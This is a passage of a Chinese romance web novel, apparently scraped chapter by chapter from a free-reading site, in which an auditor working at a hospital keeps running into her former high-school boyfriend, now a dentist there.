这会儿是上班时间,她怎么会出现在这? 难道又是哪里不舒服了? 想起高中时她隔三差五就要请病假回家,孟懿太阳穴突突地跳。 但一群人走在一起,应该也不是来看病。 看来是真看错了,他垂下眼皮,敛住了黑眸。 - 元知知和组里的人一同赶到吴主任定下的家宴馆时天刚蒙蒙黑,医院财务科的人几乎和他们同时到达。 一入座吴主任就兴致大起,开始追忆几十年前的往昔校园时光,菜下去了小半兴致却是愈发高昂,席间另一个副主任短暂的离开了包间一会儿,回来时手上提着两个袋子,是四斤白酒。 吴主任开了酒后道:“小元啊,你们女孩儿我就不劝白的了,男娃娃总要来一点吧。” 陆昱已经启程回海河市,如今带队的是元知知,在她之下资历最深的就是章汝舟了,好在跟着陆昱暂时回所里的只有一个同事。剩下的人也不全然算娘子军,她手下年轻力壮大小伙还是不少。 元知知笑道:“吴师兄,我们女孩也喝点啤的吧,这大小伙子明天也还要去医院干活呢,咱就都少喝点。” 吴主任手指一翘,包间内吊顶灯和谐的暖光将他的头顶照的更闪耀了,某些角度看还会反光,像一颗长了几根毛的灯泡。 “不行啊师妹,咱这叫什么,这叫师兄师妹一联手,天下无敌手啊,海河大学出来的一定不会错,以后你就是我亲妹子!” 这还没开始喝呢就开始说胡话了,元知知暗自腹诽,要真是亲妹子谁还陪你喝。 华清一院财务科的人已经自顾自把酒倒上了,他们的女孩儿也爽快不推拒,元知知和章汝舟一咬牙,干脆也让人倒了白的,让几个工作还没两年的小朋友转而喝啤的。 多照顾几分吧,就像当年陆昱照顾她们一样。 吴主任显然兴致高昂,酒刚一倒就起身要提一杯,众人也齐刷刷起身将各自手中一小杯酒尽数灌入喉中。 喝的是酒,组的是局。 几轮下来你提一杯我陪一杯,资历浅些的都快辨不清方向了。 章汝舟一个不小心撞在元知知身上,把她杯中的酒水撞洒了大半,元知知低低道:“谢了。” 章汝舟面色坨红:“这群老东西还真能喝啊,还是小看他们了。” “自己喝喝小酒怡情,换到这种局上来再好的酒都是折磨。” 组里一个陆昱一个章汝州,都是爱喝酒的,但这种酒谁来喝都只让人心累,纯粹伤身了。 “大学时候口口声声什么会计独立性,上了班发现还真不是那么回事儿,管你会计审计,出钱的永远是爸爸。” 嘀咕了没两句又一只酒杯被递到面前,章汝舟转头瞬间又挂上了完美无缺的社交笑容,清脆的碰杯声响起,又是一杯下了肚。 等终于尽兴散场时外边漆黑的天幕和金碧辉煌的 7. 第 7 章 《分手后挂了初恋的号》全本免费阅读 和元知知玩的亲近的朋友都知道她长了一口漂亮整齐但质量不怎么样的牙齿,从幼儿园被爸妈哄着带到牙医诊所拔牙开始,几乎每个时间段都会准点去找牙医报道。 小学、初中磨蛀牙,到了高中、大学则是杀髓做根管,年纪轻轻已经有了五颗根管牙。 家附近的牙医几乎是看着她从一个小小女孩长成现在大姑娘的,甚至因为这么个“老客户”和元先生张女士成了朋友。 她曾经不止一次说过以后想找个牙医做男朋友,少女的心思很简单,纯粹是想男朋友能每天帮她观察着牙齿情况,就不用去医院被医生掰着嘴巴钻牙髓了。 那个时候刚刚被迫跟她同桌的孟懿只嫌烦,搞不懂这小姑娘脑袋里天天天马行空些什么,要想不去看牙医自己多注意点牙齿健康不就好了。 谁知元知知一脸认真的竖起食指晃了晃:“你不懂,我这种牙是我妈给我生的天生的,我已经很注意了但就是容易坏,需要随时观察。” 孟懿把头一侧埋在自己放在桌上的胳膊里准备趁着下节语文课补觉,也不知道怎么想的,闷闷的声音飘进元知知耳朵里:“那你自己去学牙医不就好了。” 元知知不理会他的建议,葱白的手指毫不拘谨地戳戳他已经算得上结实的胳膊,“要上课了你怎么睡觉啊,快坐直听课。” 孟懿把耳朵也埋进胳膊里,这个姿势不舒服,但他要向元知知表明“离远点、别打扰”的态度。 “真烦,老刘干嘛把我调来跟你一起坐,这位置一点都不好,老师一关注你,连带着我也要多关注两分。” 从胳膊下的空隙里孟懿隐约看到元知知把一本薄薄的漫画偷偷塞到桌洞里,刚好被桌面上靠后的语文书遮住,动作娴熟,一看就是老手。 年级第一第二坐在一起,一个是听课看心情根本不服管的纯刺头校霸,一个是上课漫画小说什么都来的表面乖乖女。 偏偏她掩藏的太好,他竟然是班上为数不多知道这事的人。 他不屑的嘁了一声,他还没先嫌弃跟她一起坐不好呢,她倒是先烦起他来了。 而今孟懿盯着酒精上了头的元知知,眼里不知是什么情绪,好半晌才冷淡道:“怎么可能,不要自作多情了。” 元知知闻言先是一愣,而后是极大的松了一口 气,看起来完全称得上是欢欣愉悦。 “那就好那就好,不是因为我就好......” 孟懿脸色倏然沉了下来:“你不会真以为我学口腔是因为你吧,你也太高看自己对我的影响了。” 元知知没答话,孟懿再抬头时才发现人已经睡着了,均匀的呼吸很轻,膝上的小米粥用手扶着还没动过一口。 “醒醒,醒醒,自己还能走吗?” 章汝舟熟悉的声音硬生生把她从睡梦中唤醒,好半晌后元知知才意识到自己还在酒楼大堂。 “其他人都走了?” “嗯,拦了好几辆车才愿意搭一车醉鬼,你怎么样,脚软不软?” 元知知捏捏眉心,稍睡一会儿后那股醉意也散的差不多了,后知后觉察觉到不对劲,她举起手上的小米粥:“你给我买的?” 章汝舟脸上表情比她更懵:“把那群人送走已经耗费我百分之万的精力了,哪有空跑出去买粥?” “算了,可能是哪个好心人留的吧。” 元知知搭着她的胳膊起身,走过酒楼大门时顺手把粥丢进了垃圾桶里,来路不明的东西她不打算真的进嘴。 一直到打到出租车了她才猝然停住脚步,“我想起来那粥是谁给的了。” 章汝舟微愣:“啊?那怎么办,你都扔了。” 元知知神色复杂回头看了一眼垃圾桶:“扔就扔了吧,人家那估计也是出去吃饭没喝完的粥,顺手发个好心就给我了。” “也不是什么重要的东西。” - 前一天晚上大家都喝的不少,原本计划的上午开工自然就延后了,下午快两点时众人才算收拾妥当往华清一院赶。 这次来华清本是因为长期和他们合作的国企项目,落脚的酒店自然也订在国企所处的郊区里,上下班很方便只需要步行几分钟,但新的被审单位华清一院却和住处横跨了半个市,第一天就让他们感受到了上班通勤远的痛苦。 加上他们的工作性质,加班算是家常便饭,这样一来夜晚下班后也不能立即回去休息而是要先在路上颠簸许久。 “早知道把陆哥那辆车留下来了,至少有个代步工具。” “或者干脆换家近点的酒店吧,那边房退了趁早搬到这附近来。” 一大早就因为通勤麻烦神色怏怏的几人正讨论着,新办公室的门突然被敲响。 要不说领导就是领导,前一天喝得不比任何人少第二天还是照常上班一点异样都没有,吴主任容光焕发走进来时丝毫看不出来是昨夜喝了大酒的人,听说就这个上午人已经连着开了好几个小时的会了。 离开酒桌后他察言观色的能力也是一流:“怎么了这是?遇到什么难题了尽管说,我们能帮上忙的肯定都会最大限度给各位解决。” 元知知闻言也不客气,虽然人家是甲方,但他们提供服务当然是他们的方便放在第一位,当即说了需求。 吴主任一双笑眼笑起来更是直接眯成了一条缝,他自然听懂了暗示:“就这点事儿?早说嘛,要我说也别住酒店了,我们医院前两年才建了新的宿舍楼,还空着不少呢,你们干脆直接住咱们医院宿舍算了。” 这提议一出几人眼中均是一亮,就这么拍板定下了住宿问题。 只有章汝舟哀哀叹着:“这下好了,通宵加班可比住外面容易多了。” 华清一院作为闻名省内外的三甲医院很得政府看重,在靠近市中心的位置占据了很大一块地,整个院区建设的和大学校园有几分相似,幽静而舒适。 新建的员工宿舍则位于院区较深处,和住院部毗邻,内里配置很齐全。整栋楼都是两人间,出于某种对上司的本能畏惧和隐性规则,九个人里落单的刚好是元知知,就由她独自住一间房。 陆昱那边发来消息问情况,元知知简单交代几句对面就没人了,大概刚回所里太忙。 紧接着工作电话不停打进来,年审期间各种对接事宜也让人根本清净不了。 一直持续到晚上十点,元知知合上了笔电,本打算提前看看财务科发来的医院大概情况,但精神实在疲惫,终于打算放过自己先洗漱休息。 然而刚歇下不到两秒,手机铃声又响起来。 好在这次不是工作电话,但也没让人轻松几分就是了。 “喂?还在加班吗,怎么一直不接妈妈电话。” “刚刚结束工作,怎么了妈?” “没事就不能跟你打个电话啦?你就一点都不想妈妈?” “瞧你这话说得,爸要是知道了又要开始无脑批判我伤害一颗充满母爱的心了,我最想你了,满意了吗张女士。” “这就对了嘛,妈确实是还想跟你商量一件事......” 元知知无奈,她就知道。 张女士的一贯作风就是如此,每当她非要百转千回不肯开篇点题的时候,她不用想就知道这次主题只有一个。 “那小伙子真的不错呀,比你大三岁,不刚好是你理想的年龄差吗?本身海外博士毕业,现在已经回国进高校了,明年很有希望评职称,前途一片光明。” 8. 第 8 章 《分手后挂了初恋的号》全本免费阅读 住进医院后他们很快开工,但光是熟悉起院里的资料就用了不少时间。 事务所不是第一次和医院合作,但这次派活直接遵从了个就近原则,他们项目此前并没有做过医院,何况这还是一家新近合作的医院。 因此元知知和组内同事格外耗神,加上医院这种单位因为有国家财政支持,病人结算方式有自费有保险,收入核算比起一般企业情况更加复杂,他们只能再打起十二万分的精神 此外另一个重点就是医疗器械的盘查,华清一院这种级别的医院连科室都分的比其他普通三甲细致,各种医疗器械即使只是监盘就能直接让人眼前一黑,更别说还有大量药品耗材。 连续加了几天班后章汝舟连夜在网上下单新的护腰护颈护腕,顺带给元知知买了一份。 “我看明天去康复科盘点的时候可以直接躺下让他们医生给我看腰了,边治疗边加班,等我大肆宣扬出去我看看还有谁敢来干审计。” “行了,明天你就待办公室吧,我去接着盘点。” 章汝舟一双看谁都带着别样情愫的桃花眼很快深情款款注视着元知知:“真的?!我就知道我看人没错,早在看到你第一眼我就知道此生给你当牛做马值了,等回去你开始带组的时候记得把我要到你的组里去。” “不要满嘴画大饼了,还换组呢,先好好准备你的离职信吧。” 被元知知戳穿后章汝舟配合的收了演技,干脆重新打开电脑直接开始敲离职信。 她准备等手里活干完就跑路,每天工作之余就是在备考,计划离职后再回学校读一个硕士研究生。 本来盘点这活让实习生干也勉强能行,毕竟不算手把手盘点只是盯着医院员工进行监盘。 但元知知体谅她不愿意把自己的活直接压在手下其他人身上,所以才自己顶上。 章汝舟嘴上不说,心里还是感激的。 第二天元知知特意换上了足弓支撑鞋垫和护腰,做好了在各个科室间行走一天的准备。 医院财务科的人见她来后领着她径直向门诊大楼走去,“元老师不用担心,累的话直接告诉我,咱们休息会儿也没什么。” 话里话外的暗示,看来昨天章汝舟几人的暴走状态直接把全程陪同负责盘点的财务科人员也累倒了。 生怕她也不肯休息,一瞧这财务科派来的女孩儿今天穿的鞋都已经换成了登山鞋。 对照着盘点表一看,第一个赫然在列的就是口腔科。 元知知神思一凝,心下有些犹疑,即使理智上知道不在意不回头,但那毕竟是前男友,甚至是初恋,两个人碰面总是有一种说不出的尴尬。 情感上的她下意识排斥这种尴尬,最好的方法就是不要见面。 但这是工作,如果避不开就当作不认识好了,即使抗拒她也不能因此影响自己应该做的事。 孟懿今天难得请了一次假,他舅舅住院了。 和别的家庭不同,他既不是父母带大的孩子也没有从小跟着爷爷奶奶这样的祖辈生活,悉心把他抚养长大的人是舅舅。 看着躺在病床上脸色苍白的于健,孟懿轻轻交代着这些日子的工作与生活。 他很少流露出真正柔和的模样,只有面对着两个人的时候才会袒露分毫,一个是舅舅,另一个...... “当初给你安排好了出国学商科不去,非要学医,现在你舅舅在病床上都放不下你,手上的公司不能交到自己人手里还是只能硬抗——” “于薇!” 被亲兄长喝住了的女人不情不愿闭了嘴,身后还跟了个穿着校服的男孩。 男孩怯怯的对着病床上的人喊了一声“舅舅”,又抬头对着孟懿喊道:“哥哥。” 孟懿不冷不热的点了头,转头面向女人,幽深的眸子像在看一个不熟悉的远房亲戚:“妈。” 于薇还想说什么,顾念着病床上的于健,终是没再开口。 这些年来她总忍不住怀疑自己这个大儿子是不是天生在情感方面有什么缺失,否则怎么总是这幅模样面对他的亲生母亲,冷冰冰的像个机器人,仿佛生来就不懂什么是爱。 但想起当年的那个女孩儿,面对她时的孟懿分明是正常的。 于薇身后的男孩儿看懂了屋里的气氛,他们母子俩很显然是不受欢迎的,最终还是他拉着自己母亲离开了病房。 于健招了招手,孟懿重新坐到他身边,舅舅牵着他长大的那双手也粗糙了许多,即使养尊处优,但岁月不饶人。 “舅舅知道你一直想学医,当初你父母一心要你走上他们安排好的路,舅舅没办法多插手什么。” “但我很开心能看到你在最后能有勇气坚定选择自己想要的东西,你比你的父母都要出彩很多。” 孟懿从果篮里挑了个苹果,手腕发力时骨节的形状更加清晰突出,小刀顺着果蒂一圈一圈滑动,果皮没有断开,成卷的落入垃圾桶里。 其实真正勇敢的人从来不是他。 孟懿双肩微垂,没有再向舅舅解释什么。 - 去科室盘点医疗器械那天孟懿不在,此后几天也还算平静,即使同处一片空间,但都没有再各种机缘巧合的碰上。 朋友圈刷新也从来不见他头像出现,以前就不爱发朋友圈,工作之后或许更稳重了些。 孟懿的微信头像就这样没有存在感的躺在元知知的列表里,很快又被每天频繁的大量信息彻底压了下去,久而久之她很多时候甚至忘记自己的好友列表里还躺着这么个人。 一切就像回到了这十年里的每一个普通日夜,生命中的人并没有出现任何变化。 她也如常推进着自己的项目。 元知知一心扑在工作上时很难察觉到时间的流逝,等高中班长再次在群里艾特全体群成员的提示音响起她才意识到明天就是同学聚会了。 时间安排在晚上七点,她提前预约好了车,在坐上约车的前一秒才有时间补好口红。 但还是晚了,她低估了华清市的交通拥堵情况,出发时正赶上下班高峰期,她乘坐的车在一个十字路口前直接被堵了半个小时。 本来计划能提前二十分钟到,真正抵达时已经迟到了十分钟。 平复了因为着急赶路而急促的呼吸,元知知推开厚重的包厢门。 包厢地板上扑着厚实柔软的毛毡地毯,推门时没有发出任何摩擦声响,但包厢里的人还是第一时间注意到了她。 “这是......元知知来了!” 一时间众人的脑袋齐刷刷或侧或转 9. 第 9 章 《分手后挂了初恋的号》全本免费阅读 坐在孟懿身边的男人视线紧紧跟随着他的动向,却怎么也参不透他对于合作到底是什么态度。 这会儿见孟懿突然回身盯着元知知,当即了提高了声音冲着聊天的女人道:“元知知,你可都十年没来参加咱同学聚会啦,都在做什么呢工作这么忙?” 这没什么好隐瞒的,她坦然说道:“进事务所做审计跑项目,倒也没别的就是忙。” 原来是做审计,孟懿记得元知知以前大学选的就是会计系,再后来她去了哪里读研、做什么工作,他就统统都不知道了。 因为和她一个学校的朋友出国了。 再没人能探听到关于她的一点细枝末节。 “审计?就找茬的呗?还不如干会计呢,至少还会做账。” 那男人一脸不屑,还高知家庭的女儿呢,到头来还不是给他们这些老板打工的。 “你如果学不会尊重的话,你家公司的会计说不定就把你送进去了哦。” 元知知不是第一次被人误解,歪着头笑着说这话的时候像是又回到了高中时,纯粹又天真的少女模样。 男人一听这话当即忍不住了,他这些年来靠着做一些擦边生意赚了点小钱,稍不注意就要蹲局子,最忌讳的就是这个,当即觉得晦气,欲发作却正对上孟懿看过来的视线。 漆黑如墨,让人心生寒意。 “你手上的劳力士是假的,如果你刚刚所说的公司盈利额是真的,恐怕确实要小心了,可以趁早好好珍惜在外面的日子了。” 这话说得是一点情面都不留了,周遭其他老同学想笑又不好意思,男人憋红了一张脸也不敢反驳什么,只能道:“孟懿你相信我,我公司账绝对没问题的,可以放心合作,不会有风险!” 元知知微笑道:“如果有需要的话,让我们专门找茬的审计帮你看看就知道公司资金是不是有问题了。” 男人被堵的彻底说不出话,只恨恨的各看了两人一眼,他明明是发现孟懿老看说不定是甩了他的前女友才好心想帮他出头,没想到和以前一样油盐不进、不识好歹。 他愤愤的用叉子将盘中土豆剁碎成土豆泥,明面上却一句话也不敢说了。 “在华清市待多久?” 周边沉默了一遭后元知知才意识到孟懿是在跟自己说话:“手上原本那个项目已经结束了。” 孟懿眉间微蹙。 “但现在有个新项目,说不准具体时间,我估计至少还要在这边待上两个月。” “是吗?” “嗯。” 此后两人再没说过一句话,夹在中间的女人左右看看,最终也埋下头专心吃饭了。 聚餐结束后还要转下一场去KTV,元知知以工作为由拒绝了。 华清是内陆城市,连河都是人工开发的护城河,聚餐时喝了几杯红酒,这个时候就应当吹吹河风才是最舒服的,可惜没有。 推拒了久未见面的同学们相送的客套话,她沿着人工河慢慢走着。 一辆正行驶的黑色雷克萨斯突兀横在眼前,直接打断了元知知难得慢悠悠的舒适,就在她柳眉一竖准备怒骂这些乱停乱放阻挡行人通行的车主时,车窗缓缓摇下,露出孟懿那张无论看多少次都让人感叹造物主宠爱的脸。 “住哪,我送你。” “你刚刚没喝酒?” “没有。” 孟懿点了点握着的方向盘,她知道这是催促的意思。 “算了吧,不麻烦你了,我走累了自己打个车就回去。” “而且,我觉得以我们的关系其实没必要产生过多交集,这种场合点头之交,私下里也没必要有其他人情往来,免得徒增困扰,你说呢?” 元知知觉得自己好像很少见过孟懿真正生气的表情,无论十年前还是十年后,但现在的他很难说是没有什么情绪。 本无起伏的目色里渗着寒意,唇角被拉直成平角,这一刻散发的气场称得上可怖,声音像是数九寒天里打破了结冰湖面传出来的:“毕竟曾经同学过三年,我只是好心想帮忙,如果对元小姐造成困扰了,那是我的问题。” “你可以放心,元小姐不想和前任有什么过多交集,我同样不想。” 元知知抿了抿唇,车窗重新摇上,防窥的玻璃将她的视线彻底隔绝,再也看不清车内人的神色。 雷克萨斯LS流畅的车身随着一脚油门猛然轰了出去,很快就连影子都看不见了。 - 第二天中午元知知和章汝舟踩着食堂收班的点才去吃饭,当天的招牌菜已经打的不剩什么了,其他菜也都散发着冷掉后黏腻的气息。 “要不出去吃?我请客。” "算了,饭都打了懒得再走一截路,将就着随便吃点吧。" 章汝舟撇撇嘴:“行吧。” 这时食堂里几乎没什么人了,零星几个人也都是拖到快下午两点才下手术的医生,分散在各个角落坐着,因此她们站在中间短暂停留时就格外显眼,蔡医生几乎刚抬头就看到了他们。 “元老师!这边来。” 元知知循着声音看去,发现是认识的人后就与章汝舟一同过去坐下。 其实也不算认识的人,那天她去口腔科盘点时是这个蔡医生刚好有空从旁辅助她和医院财务,两人算是短暂合作过的关系,一群白大褂里她其实都没记住脸,是他喊她“元老师”才唤醒她的记忆。 两个餐盘被放下,元知知介绍道:“这是口腔科蔡医生,这是我同事章汝舟。” “蔡医生。” “章老师。” 两人草草打过招呼,蔡医生打招呼时眼睛也飞速瞥着元知知。 章汝舟放在桌下的手轻轻戳着元知知,被她一把抓住塞了回去:“蔡医生不用跟着财务那边叫我章老师,我也不是什么老师,叫我知知就行。” “噢好的好的,”蔡医生点点头,筷子在自己盘里捣鼓半天什么也没夹到就往嘴里送,“我知道了元老师。” 她无奈轻笑,章汝舟则是憋笑憋得肩膀都快抖成筛子。 “元老师每天中午都这么晚才能来吃饭吗?” “也不是,一般一点过吧,今天实在是走不开才拖到这会儿。” “噢噢这样,你们真辛苦。” “没有,医生也不容易。” 场面再度冷下来,蔡医生时不时抬眼看看对面的女人,像是想说话又不知道说什么合适,并排坐的两个女人也实在不知道说什么,干脆自顾自的夹菜。 本就装的不满的餐盘这下很快空了大半,蔡医生还没吃完一半元知知和章汝舟就已经站起来告别了。< 10. 第 10 章 《分手后挂了初恋的号》全本免费阅读 第二天组里有同事特殊原因不得不请假,工作赶着推进没办法只得把他的部分各自分了做,往电脑跟前一坐直接就是晚上十一点才熄灭办公室的灯。 大家都先回去医院宿舍了,只有元知知独自去了一趟医院里24小时小卖部买些缺失的生活用品。 “元知知?” 刚结完账小卖部的门口就有人喊她的名字。 她提着袋子朝着门前走去,塑料袋和裤缝碰撞发出窸窸窣窣的刺耳声音。 她想,他们这段时间碰见的好像太频繁了些,频繁得让她的心起了危险信号。 不应该再想了,无论是他们俩人共同的过去还是未来,都是白茫茫一片看不见一条路。 孟懿叫住她是下意识的,明明已经没有立场可以约束他,但还是在她缓缓靠近时直接用手指掐灭了猩红的烟头藏在身后。 火星子燎过皮肤,算不上多疼。 “孟医生?这么晚了还在加班?” “没有,东西落诊室了回来取。” 他上下仔仔细细打量着元知知,本该让人不适的,但他的目光却实实在在没有任何其他意思,只是单纯的在打量,然后拧了眉道:“来看急诊的?哪里不舒服?” 元知知一时不知如何解释,但孟懿的问题比她的解释来的更急:已经看医生了吗?医生怎么说?这都十一点了是突发的不适吗?” 他们面对面站着,元知知意识到自己挡住了小卖部的出口,赶紧下了台阶让开。 但孟懿以为她要走,一把拉住了她雪白的腕子,像一道火钳一样牢牢锁着她的手,仿佛要将她烤化。 背光的位置将他的脸彻底掩映在漆黑的夜色里,元知知看不清他的面色,只听得他压抑了三分火气的声音:“去哪里?说话,身体怎么了?” 元知知一把扯下孟懿的手,提在手上的袋子撞在他的外套上,又一次劈啪作响。 “不劳关心了,来医院是有公事处理,不是身体原因。” 孟懿听到她冰冷的语气怔愣片刻,随即也淡淡“嗯”了一声。 元知知和他擦肩而过,方向不是大门却是医院院区的更深处。 他有些疑惑的目送着她的背影消失在树丛之后,把刚刚按灭在手上的那根烟扔进垃圾桶,随即朝着车库走去。 孟懿到时李杭和陈骏驰已经开了两瓶酒各自喝开了,见他一来当即新开一瓶推到他面前:“今天可是又来晚了啊。” “可别拿你开了车来做借口了,什么年代了难道还叫不着代驾?” 孟懿掀了掀眼皮瞥了一眼卡座外面随着节奏鼓点疯狂舞动的男男女女,刺鼻的香水味和难闻的酒臭味混合在一起,让人无论是嗅觉还是听觉都感到不适,尤其是刚刚从夜晚的医院那样安静的地方过来。 他举起酒瓶灌了一口,姿态闲散靠在卡座的皮套沙发上:“下次喝酒换个地儿,这环境吵得人不舒服。” “哟,今天不需要劝自己就喝上了,”陈骏驰拿起自己的酒瓶跟他的碰了碰:“以前不也经常约在酒吧吗,怎么今天就突然嫌吵了。” 李杭则是观察着孟懿的表情,刚失恋的男人突然多出了一种不同于往常的敏感:“怎么回事?感觉你最近心情都不好啊。” “哪有,咱孟医生不一直这样吗,大学就不爱理人,这都多少年了你还不习惯?” 李杭不服气:“是你懂失恋还是我懂失恋啊,我现在最知道心情郁闷的人是什么状态了。” “得了吧你,之前不知道分手多少次了就这一次就教会你什么是失恋了?再说了我们孟哥片叶不沾身的还能有失恋这玩意儿?” 李杭当即就要和陈骏驰拼酒,质疑他爸的医术可以,但质疑他本人的爱情不行。 “等下,”他刚要拿酒瓶又停住,看向孟懿被水晶灯折射而来的灯光照亮的脸,五光十色明暗交替,明明处于这样迷乱璀璨的环境,但他仿佛丝毫没有被热烈的氛围所影响,坐在这之中始终没有彻底融入,“你不会真失恋了吧?” “哪能啊?孟哥连恋爱的苗头都没有丁点儿,哪来的恋可失?” 孟懿瞥了眼陈骏驰,轻嗤一声,但没否认。 李杭不甘心,继续推测道:“没有失恋,难不成还能是前任回来了?” “卧槽。” 陈骏驰吓得把吊儿郎当翘在桌沿上的脚都放回了地面,他们都知道孟懿的前任有且只有一个,那个难以忘怀的初恋,要真是她回来了那还了得。 他们本以为闷头喝酒的人这一次也不会理会这种无聊问题,但却听他懒懒道:“嗯,回来了。” 一时间喧闹的酒吧里他们所处的卡座直接噤了声,陷入了格格不入的沉默。 高考结束后的那个暑假一场断崖式分手可把人伤的不轻,听说孟懿到她家门前守了整整三天却连个理由都问不到,人家铁了心要分手,最后还是就这样分了。 想起他曾经消沉过的那几年,陈骏驰和李杭心里都不免担忧,但刚才孟懿又是这么坦然的提起她,他们也拿不准他对待这个初恋女友到底是什么态度。 念念不忘?不像。 旧情难却?也不像。 可要说坦然放下了,他们看了看又开了一瓶酒的男人和他脚边的空酒瓶,互相对视一眼,更不像了。 到底什么情况,他们谁也不敢多问。 直到人快喝得迷糊了他们才紧急制止,将孟懿从酒吧拉走护送到家,两人前前后后一通忙活才让他勉强洗漱完歇下。又怕他醒来摸不清楚时间,还把手机直男又贴心的塞在了他的手心里才放心离开。 当夜元知知收到了一条意外的微信信息,是已经在聊天界面里沉底的孟懿发来的。 【MY:。】 只是一个句号,一个文字也没有。 刚退出聊天框想关掉手机,又被朋友圈图像上不断更新的红点惊了片刻,她点进去一看,还是孟懿。 不知道怎么回事,他突然把她的所有可见朋友圈全部点了一遍赞,连转发事务所推文的无聊内容也点了。 11. 第 11 章 《分手后挂了初恋的号》全本免费阅读 他们看着彼此,像是被一层透明的玻璃笼罩,只能接受来自彼此的气场、再也看不不见旁的什么人。 蔡医生左看看右看看,终于还是觉得不对劲:“孟医生,你和知知认识啊?” “知知?”这两个字经他咀嚼后怎么听怎么别扭,蔡医生有些不确定的看着两人。 “当然认识。” “当然不认识。” 一前一后两道声音响起,并未重合因此这一桌的医生都听得分明。 他们看看冷淡的说着“认识”的孟懿和温和的说着“不认识”的元知知,一时间都有些茫然。 这到底是认识还是不认识? 这一次换成元知知盯着孟懿了,一直深深看进他眼眸幽深处,却读不出他心里到底是怎么想的。 明艳的女人很快笑了,那笑意融进琥珀色的眼里,在阳光的照耀下让几乎在场的每个人都颇觉如沐春风:“我想起来了,是认识的,前些时日我曾经挂过孟医生的号,当时带着口罩帽子没能记住,还要多亏孟医生提醒我刚才才能回忆起来。” 蔡医生当即也顾不上思考二人关系了,而是神色担忧的追问道:“你之前牙齿不舒服吗?现在怎么样了?” 元知知对上他圆溜溜的小狗眼,安抚道:“没事,我只是上火长了溃疡一直不肯好才想着来挂个号看看,现在已经好得差不多了。” “我记得孟医生还因为我挂错科室将我好一顿教训呢,不过也实在是叫我受益匪浅。” 看着元知知的视线又落回到了孟懿身上,蔡医生心里有一种说不出的不安,但他很快压下了这种无厘头的情绪,开玩笑的斥着孟懿:“毕竟不是所有医院都像我们一样把科室分得这么细致,知知挂错号了给她换一个科室不就行了吗,还至于教训人家,面对着这么美丽的小姐也实在是太狠心了。” “是吗?这位美丽的小姐好像记忆力不太好。” “我们不是前几天认识的,而是十年前的高中同班同学才是,元小姐这么快就把老同学忘了吗?” “老同学”三个字咬字极重,如果不是看他表情还算平和,他们恐怕要以为这是遇见什么积怨颇深的仇人了。 自从同学聚会那晚不欢而散之后,元知知本以为装陌生人装不熟是他们之间的共识,却没想到孟懿接二连三不按常理出发,宣扬他们是旧识难不成有什么好处不成? 也不过是在其他人面前徒添尴尬罢了,她以为成年人都知道该怎么做。 坐在这一张长桌的医生们菜也不夹了,纷纷睁大了眼睛好奇地盯着他们二人,大概都觉得时隔数年各自分别的高中同学突然相认有一种他乡遇故知的奇妙感觉。 他们都很享受这一刻的奇妙。 元知知也很配合,放下筷子刻意睁大几分瞳孔:“孟医生这么一说还真是眼熟,我想想——” "孟懿,"坐在她对面的男人面无表情道:“我叫孟懿。” 恍惚间好似回到了夏蝉悠鸣、麻雀叽喳的那个时代,那个时候夏天还叫夏天,是少年人的夏天,而不是会议桌上各部门指着工作计划谈论着的冷冰冰的第三季度[1]。 绿树浓荫掩映下的教室里少年少女们用各式各样的课本练习册扇着风,穿着蓝白相间校服的少年懒懒道:“孟懿,我叫孟懿。” 一个字都没有改过,一模一样的自我介绍从眼前这个男人嘴里吐出。 元知知突然泄了气,垂头低声道:“哦,是孟懿啊,我记得你。” “嗯,想起来就好。”孟懿的声音也很低。 老同学重逢戏码就这样略有些平淡的过去了,大家皆是有些失望,但注意力很快又被其他话题转移。 只有小蔡医生一边用余光瞟着身边人一边暗自懊悔,他突然觉得自己不应该坐在元知知身边而是坐在她对面,那样他就能一眼将她的情绪收入眼底,就像现在的孟懿一样。 相对而坐似乎是一件更亲密的行为,他看了看自己坐在自己对面的女护士,又觉得这种想法其实不太准确。 食堂的饭菜就算再好吃也不能吃上一中午,很快大家都陆陆续续的去放餐盘赶着午休或准备下午的工作了。 元知知的同事踩着点放下工作到食堂的时候她也刚好收拾完掐着表回了行政楼。 只有孟懿和蔡医生还在慢悠悠吃着饭,但两双在餐盘里挑拣的筷子都昭显着主人似乎有些心不在焉。 “你和她怎么认识的?” 小蔡医生还在苦恼该怎么开口,没想到孟懿先打破沉默,他当即乐呵呵道:“元老师好像是和我们医院合作的外部审计,那天她来科里盘点刚好就我没病人,帮忙打了个下手就认识了。” “这就是她说的新项目么......” “孟医生你说什么?” “没什么,我只是在想她来科里盘点我怎么会没印象。” “我想想,那天你好像确实请假不在,就刚好错过了。” 他一说孟懿就回忆起是哪一天了,舅舅突然昏厥住进医院那天。 作为医生他很少请假,也就只有那么不得不缺勤的一天,原来这么凑巧。 蔡医生嘴里的“错过”二字太刺耳,让他的心脏都泛起轻微的酸涩,像被一只看不见的手轻轻攥住。 他想这不是因为她,或许是因为自己单纯不喜欢“错过”这个词。和人无关,只是这个词语让他有了那些异样的情绪。 孟懿起身放餐盘,蔡医生也慌忙站起来跟在他身后,终于舍得把自己早就吃干净的空盘子放到回收处,也终于扭扭捏捏试探着问出了自己的问题:“诶,元老师高中时期在你们学校肯定很受欢迎吧,你以前也有……喜欢过她吗?” “喜欢她?怎么可能。”孟懿说这话时没有直视蔡医生。 小蔡医生闻言松口气,都说年少时的白月光或许几十年都难以忘怀,既然孟医生以前没那个意思,现在就更不会有威胁了。 少了这么一个强劲的对 12. 第 12 章 《分手后挂了初恋的号》全本免费阅读 在医院住了大半个月也加班加点的干了半个月的活,这半个月来元知知组里的人每夜平均睡眠时间还不到五个小时。 在这么连轴转了一段时间后章汝舟终于还是把自己累到了医生面前。 “你说这项目给咱们派的可真好,就在医院里,加班累病了下个楼就能直接看医生,再下个楼又能回来加班,你说这算不算古代皇帝才有的待遇了。” 元知知目不转睛盯着电脑屏幕上的底稿,头都没空抬。 “知足吧,至少比手上同时有两个项目要审的组好。” 华清一院是新合作项目,去年年底预审时是分派到其他组手上的,因此元知知陆昱这组当时没有亲自走华清一院的预审流程,以至于在上个项目结束后临时接手这边才发现原本那个项目组的预审测试做得极简单省事,这也就导致他们如今的工作量翻了一倍,预审底稿几乎全改。 一看原定项目组是谁负责的,这名字可太熟悉了。陆昱把自己灌醉那天晚上可是把这名字挂在嘴里骂了一晚上,如果是那挤掉他晋升名额的关系户,那做出这样敷衍的成果大家也就不奇怪了。 章汝舟被医生掰开眼皮仔细检查了一圈,最终下了结论:“角膜没问题,结膜有点发炎,开两瓶眼药水回去滴,这两天注意早点休息也不要过度用眼。” 